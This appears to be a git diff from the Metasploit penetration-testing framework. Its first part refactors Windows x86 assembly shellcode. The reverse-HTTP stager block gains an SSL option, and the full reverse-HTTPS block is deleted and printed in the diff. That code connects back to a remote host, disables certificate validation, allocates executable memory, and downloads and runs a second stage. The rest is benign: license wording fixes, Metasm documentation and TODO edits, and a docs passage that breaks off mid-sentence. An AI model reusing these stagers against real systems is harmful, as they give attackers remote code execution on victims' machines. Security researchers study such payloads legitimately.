a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -6,6 +6,25 @@ ;-----------------------------------------------------------------------------; [BITS 32] +%ifdef ENABLE_SSL +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID +%else +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 ; INTERNET_FLAG_NO_UI +%endif + ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -16,65 +35,74 @@ load_wininet: push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) + xor ebx,ebx + internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags + push ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username + push ebx ; password (NULL) + push ebx ; username (NULL) push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 | ; INTERNET_FLAG_NO_UI - ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method + push ebx ; dwContext (NULL) + push HTTP_OPEN_FLAGS ; dwFlags + push ebx ; accept types + push ebx ; referrer + push ebx ; version + jmp get_server_uri ; push pointer to url +got_server_uri: + push ebx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; save hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop edi + +send_request: + +%ifdef ENABLE_SSL +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push byte 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + +%endif httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers + push ebx ; lpOptional length (0) + push ebx ; lpOptional (NULL) + push ebx ; dwHeadersLength (0) + push ebx ; lpszHeaders (NULL) push esi ; hHttpRequest push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp @@ -82,28 +110,30 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short httpsendrequest + dec edi + jnz send_request -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 +; if we didn't allocate before running out of retries, fall through to +; failure failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call got_server_uri + +server_uri: + db "/12345", 0x00 + allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push ebx ; NULL as we dont care where the allocation is push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); @@ -135,7 +165,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm deleted file mode 100644 index 28a0a04783..0000000000 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ /dev/null @@ -1,159 +0,0 @@ -;-----------------------------------------------------------------------------; -; Author: HD Moore -; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 -; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) -; Version: 1.0 -;-----------------------------------------------------------------------------; -[BITS 32] - -; Input: EBP must be the address of 'api_call'. -; Output: EDI will be the socket for the connection to the server -; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp short dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push dword 4444 ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00000200 ; INTERNET_FLAG_NO_UI - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - -set_retry: - push byte 0x10 - pop ebx - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION - mov eax, esp - push byte 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz short allocate_memory - -try_it_again: - dec ebx - jz failure - jmp short set_security_options - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 - -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - -allocate_memory: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - -download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead - -download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz failure - - mov eax, [edi] - add ebx, eax ; buffer += bytes_received - - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage - -execute_stage: - ret ; dive into the stored stage address - -get_server_host: - call internetconnect - -server_host: - diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm index 061290001a..e73a0231ae 100644 --- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm @@ -1,19 +1,20 @@ -;-----------------------------------------------------------------------------; -; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 -; Version: 1.0 (24 July 2009) -; Size: 274 bytes -; Build: >build.py stager_reverse_tcp_nx -;-----------------------------------------------------------------------------; - -[BITS 32] -[ORG 0] - - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. -%include "./src/block/block_api.asm" -start: ; - pop ebp ; pop off the address of 'api_call' for calling later. -%include "./src/block/block_reverse_https.asm" +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Size: 274 bytes +; Build: >build.py stager_reverse_tcp_nx +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%define ENABLE_SSL 1 +%include "./src/block/block_reverse_http.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. diff --git a/external/source/vncdll/vncdll/LICENSE.txt b/external/source/vncdll/vncdll/LICENSE.txt index c952e523e3..ba5797cfe9 100644 --- a/external/source/vncdll/vncdll/LICENSE.txt +++ b/external/source/vncdll/vncdll/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (C) 2006-2010, Rapid7 LLC +Copyright (C) 2006-2010, Rapid7, Inc All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -24,4 +24,4 @@ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/vncdll/vncdll/context.h b/external/source/vncdll/vncdll/context.h index 1f062cfd1f..df5143138e 100644 --- a/external/source/vncdll/vncdll/context.h +++ b/external/source/vncdll/vncdll/context.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -105,4 +105,4 @@ DWORD WINAPI context_message_thread( LPVOID lpParameter ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/inject.h b/external/source/vncdll/vncdll/inject.h index 46c7a62712..d7e7fffda1 100644 --- a/external/source/vncdll/vncdll/inject.h +++ b/external/source/vncdll/vncdll/inject.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -99,4 +99,4 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/loader.h b/external/source/vncdll/vncdll/loader.h index b93ccf9c3e..3671c1ddcf 100644 --- a/external/source/vncdll/vncdll/loader.h +++ b/external/source/vncdll/vncdll/loader.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // diff --git a/external/source/vncdll/vncdll/ps.h b/external/source/vncdll/vncdll/ps.h index 6daab69570..be2c7733d9 100644 --- a/external/source/vncdll/vncdll/ps.h +++ b/external/source/vncdll/vncdll/ps.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -74,4 +74,4 @@ DWORD ps_getnativearch( VOID ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/session.h b/external/source/vncdll/vncdll/session.h index 7272f9ff0d..67f89f3713 100644 --- a/external/source/vncdll/vncdll/session.h +++ b/external/source/vncdll/vncdll/session.h @@ -1,4 +1,4 @@ -// Copyright (C) 2006-2010, Rapid7 LLC +// Copyright (C) 2006-2010, Rapid7, Inc // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, @@ -11,7 +11,7 @@ // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // -// * Neither the name of Rapid7 LLC nor the names of its contributors +// * Neither the name of Rapid7, Inc nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // @@ -39,4 +39,4 @@ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ); //===============================================================================================// #endif -//===============================================================================================// \ No newline at end of file +//===============================================================================================// diff --git a/lib/metasm.rb b/lib/metasm.rb index ebe35d2b23..db05c0b36e 100644 --- a/lib/metasm.rb +++ b/lib/metasm.rb @@ -1,7 +1,2 @@ # Load a slightly tweaked METASM stub require 'metasm/metasm' - -# Manually load the classes we need from METASM -require 'metasm/ia32' -require 'metasm/mips' -require 'metasm/exe_format/shellcode' diff --git a/lib/metasm/.hg_archival.txt b/lib/metasm/.hg_archival.txt deleted file mode 100644 index 09fc31a53b..0000000000 --- a/lib/metasm/.hg_archival.txt +++ /dev/null @@ -1,2 +0,0 @@ -repo: a1be49ad3727a7dab9202f848ad39b5674e1aada -node: 7ec6509ea16231e365fffc91014755c810c27536 diff --git a/lib/metasm/README b/lib/metasm/README index 5a94ac997b..4896d1d4be 100644 --- a/lib/metasm/README +++ b/lib/metasm/README @@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the comments in the scripts headers. You can also try the --help argument if you're feeling lucky. +For more information, check the doc/ subdirectory. The text files can be +compiled to html using the misc/txt2html.rb script. + + Here is a short overview of the Metasm internals. @@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc) Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str) Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string -PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work -with memory-mmaped versions of those formats (e.g. to debugging running +PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work +with memory-mmaped versions of those formats (e.g. to debug running processes) @@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat) Debugging: -Metasm includes a few interfaces to allow live debugging. +Metasm includes a few interfaces to handle debugging. The WinOS and LinOS classes offer access to the underlying OS processes (e.g. OS.current.find_process('foobar') will retrieve a running process with foobar in its filename ; then process.mem can be used to access its memory.) -The Windows and Linux debugging APIs (x86 only) have a basic ruby interface -(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the -windows debugging API) ; those will be more worked on/integrated in the future. +The Windows and Linux low-level debugging APIs have a basic ruby interface +(PTrace and WinAPI) ; which are used by the unified high-end Debugger class. +Remote debugging is supported through the GDB server wire protocol. + +High-level debuggers can be created with the following ruby line: +Metasm::OS.current.create_debugger('foo') + +Only one kind of host debugger class can exist at a time ; to debug multiple +processes, attach to other processes using the existing class. This is due +to the way the OS debugging API works on Windows and Linux. + +The low-level backends are defined in the os/ subdirectory, the front-end is +defined in debug.rb. A linux console debugging interface is available in samples/lindebug.rb ; it -uses a SoftICE-like look and feel. -This interface can talk to a gdb-server through samples/gdbclient.rb ; use -[udp:] as target. +uses a (simplified) SoftICE-like look and feel. +It can talk to a gdb-server socket ; use a [udp:] target. -The disassembler scripts allow live process interaction by using as target -'live:'. - -A generic debugging interface is available, it is defined in metasm/os/main.rb -It may be accessed using the Metasm::OS.current.create_debugger('foo') - -It can be viewed in action using the GUI and 'open live' target. +The disassembler-gui sample allow live process interaction when using as +target 'live:'. C Parser: @@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats: - __int8 etc native types - Label addresses (&&label) Also note that all those things are parsed, but most of them will fail to -compile on the Ia32 backend (the only one implemented so far.) +compile on the Ia32/X64 backend (the only one implemented so far.) + +Parsing C files should be done using an existing ExeFormat, with the +parse_c_file method. This ensures that format-specific macros/ABI are correctly +defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc) When you parse a C String using C::Parser.parse(text), you receive a Parser object. It holds a #toplevel field, which is a C::Block, which holds #structs, @@ -249,15 +261,11 @@ CExpressions...) A C::Parser may be #precompiled to transform it into a simplified version that is easier to compile: typedefs are removed, control sequences are transformed -in if () goto ; etc. +into 'if (XX) goto YY;' etc. To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with exe-specific macros defined (eg __PE__ or __ELF__). -The prefered way to create a C::Parser is to initialize it with a CPU and the -desired ExeFormat, so that it is -correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and -may define preprocessor macros needed to correctly parse standard headers. Vendor-specific headers may need to use either #pragma prepare_visualstudio (to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the latter may be auto-detected (or may not). diff --git a/lib/metasm/TODO b/lib/metasm/TODO index 550bc8392e..11361bacfe 100644 --- a/lib/metasm/TODO +++ b/lib/metasm/TODO @@ -2,13 +2,14 @@ List of TODO items, by section, in random order Ia32 emu fpu - add all sse2 instrs + AVX support realmode X86_64 decompiler CPU + Arm Sparc Cell @@ -26,14 +27,14 @@ Assembler Disasm DecodedData Exe decoding generate decodeddata ? - Function-local namespace (esp+12 -> esp+var_42) + Function variable names using stack analysis + ExpressionString Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk) Test with ET_REL style exe Store stuff out of mem (to handle big binaries) Better :default usage good on call eax, but not on <600k instrs> ret use binary personality ? (uses call vs uses pushret..) - Improve backtrace -> patch di.instr.args exprs + Improve 'backtrace => patch di.instr.args' path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:) Decode pseudo/macro-instrs (mips 'li') Deoptimizer (instr reordering for readability) @@ -69,6 +70,7 @@ Decompiler Handle/hide compiler-generated stuff (getip, stack cookie setup/check..) Handle call 1f ; 1: pop eax More user control (force/forbid register arg, return type, etc) + Preserve C decompiled line association to range of asm decoded addrs Debugger OSX @@ -81,7 +83,6 @@ Debugger Remote debugging (small standalone C client) Support dbghelp.dll (ms symbol server info) Support debugee function call (gdb 'call') - Manipulate memory through C struct casts ExeFormat Handle minor editing without decode/reencode (eg patch ELF entrypoint) @@ -105,10 +106,9 @@ GUI show breakpoints show jump direction from current flag values have a console frontend - better graph positionning fallback zoom font when zooming graph - copy/paste, selection + text selection map (part of) the binary & debug it (map a PE on a linux host & run it) Ruby - compile ruby AST to native optimized code + write a fast ruby-like interpreter diff --git a/lib/metasm/doc/code_organisation.txt b/lib/metasm/doc/code_organisation.txt deleted file mode 100644 index d60ddfccb6..0000000000 --- a/lib/metasm/doc/code_organisation.txt +++ /dev/null @@ -1,146 +0,0 @@ -Metasm source code organisation -=============================== - -The metasm source code takes advantage of the ruby language facilities, -which allows splitting the definition of a single class in multiple files. - -Each file in the source tree holds code related to a particular feature of -the framework. - -Directories ------------ - -The top-level directories are : - -* `doc/`: this documentation -* `metasm/`: the framework core -* `samples/`: a set of sample scripts showing various functionnalities of the framework -* `tests/`: a few unit tests (too few..) -* `misc/`: misc ruby scripts, not directly related to metasm - -The core --------- - -The `metasm/` directory holds most of the code of the framework, along with the -main `metasm.rb` file in the top directory. - -The top-level `metasm.rb` has code to load parts of the framework source on demand -in the ruby interpreter, which is implemented with ruby's - - -Executable formats -################## - -The `exe_format/` subdirectory contains the implementations of the various -binary file formats supported in the framework. - -Three files have a special meaning here: - -* `main.rb`: it defines the class -* `serialstruct.rb`: here you'll find the definitions of -* `autoexe.rb`: the implementation of , which allows the recognition of arbitrary files from their binary signature. - -The `main.rb` file is included in all other formats, as all file classes -are subclasses of `ExeFormat`. - -The `serialstruct.rb` implements a helper class to ease the description of -binary structures, and generate parsing/encoding functions for those. - -All other files implement a specific file format handler. The bigger files -(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and -decoding/disassembly. - - -CPUs -#### - -All supported architectures have a dedicated subdirectory, and a helper file -that will simply include all the arch-specific files. - -All those files will contribute to add functions to the same class implementing -the CPU interface. Not all CPUs implement all those features. They are: - -* `main.rb`: inner classes definitions (for registers etc), generic functions -* `opcodes.rb`: initializes the opcode list for the architecture -* `encode.rb`: methods to encode instructions -* `decode.rb`: methods to decode/emulate instructions -* `parse.rb`: methods to parse asm instructions from a source file -* `render.rb`: methods to output an instruction to a string -* `compile_c.rb`: the C compiler implementation -* `decompile.rb`: the arch-specific part of the generic decompiler -* `debug.rb`: arch-specific information used when debugging target of this architecture - -In some cases the files are small enough to be all merged into the `main.rb` file. - - -Operating systems -################# - -The `os/` subdirectory holds the code used to abstract an operating systems. - -The files here define an API allowing to enumerate running processes, and interact -with them in various ways. The class and subclasses are -defined there. - -Those files also holds the list of known functions and in which system libraries -they can be found (see or ), which -are used when linking executable files. - - -Graphical user-interface -######################## - -The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces. - -Currently those include the disassembler and the debugger (see the *samples* section). - -Those GUI elements are implemented using a custom GUI abstraction, and reside in the -various `dasm_*.rb` and `debug.rb`. - -The actual implementation of the GUI are found in: - -* `win32.rb`: the native Win32 API backend -* `gtk.rb`: a Gtk2 backend, intended for unix platforms -* `qt.rb`: a Qt backend experiment - -Please note that the Qt backend does not work *at all*. - -The `gui.rb` file in the main directory is used to chose among the available GUI backend -the most appropriate for the current session. - - -Others -###### - -The other files directly in the `metasm/` directory are either support files -(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by -specific cpu/exeformat instances, or implement arch-agnostic features. -Those include: - -* `preprocessor.rb`: the C/asm preprocessor/lexer -* `parse_c.rb`: this is the implementation of the C parser -* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source -* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder -* `dynldr.rb`: this module is used when interacting directly with the host operating system through - - -The samples ------------ - -The `samples/` directory contains a lot of small files that intend to be -exemples of how to use the framework. It also holds experiments and -work-in-progress for features that may later be integrated into the main -framework. - -The comment at the beginning of the file should be clear about the purpose -of the script, and the scripts are expected to be copy/pasted and tweaked -for the specific task needed by the user (that's you). - -Some of those files however are full-featured applications: - -* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts -* `disassemble.rb`: a disassembler -* `disassemble-gui.rb`: the graphical disassembler / debugger - -The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler. - diff --git a/lib/metasm/doc/const_missing.txt b/lib/metasm/doc/const_missing.txt deleted file mode 100644 index 88d0519b6c..0000000000 --- a/lib/metasm/doc/const_missing.txt +++ /dev/null @@ -1,16 +0,0 @@ -The const_missing trick -======================= - -Metasm uses a ruby trick to load most of the framework on demand, so that -*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter -unless you use them. - -It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of -`Module.autoload`. This mechanism will automatically load the specified metasm -components whenever a reference is made to one of the constants listed here. - -Metasm provides a replacement top-level file, `misc/metasm-all.rb`, -which will unconditionally load all metasm files. -This will not however load mutually exclusive files, like the Gui subsystems ; -in this case it will load only the autodetected gui module (win32 or gtk). - diff --git a/lib/metasm/doc/core/DynLdr.txt b/lib/metasm/doc/core/DynLdr.txt deleted file mode 100644 index fb133ad546..0000000000 --- a/lib/metasm/doc/core/DynLdr.txt +++ /dev/null @@ -1,247 +0,0 @@ -DynLdr -====== - -DynLdr is a class that uses metasm to dynamically add native methods, -or native method wrappers, available to the running ruby interpreter. - -It leverages the built-in C parser / compiler. - -It is implemented in `metasm/dynldr.rb`. - -Currently only supported for and under -Windows and Linux. - - -Basics ------- - -Native library wrapper -###################### - -The main usage is to generate interfaces to native libraries. - -This is done through the `#new_api_c` method. - -The following exemple will read the specified C header fragment, -define ruby constants for all `#define`/`enum`, and define ruby -method wrappers to call the native functions whose prototype is -present in the header. - -All referenced native functions must be exported by the given -library file. - - class MyInterface < DynLdr - c_header = < 4) - return 1; - else - return 0; - } - EOS - end - -References to external functions are allowed, and resolved automatically. - -The ruby objects used as arguments to the wrapper method are -automatically converted to the right C type. - - -You can also write native functions in assembly, but you 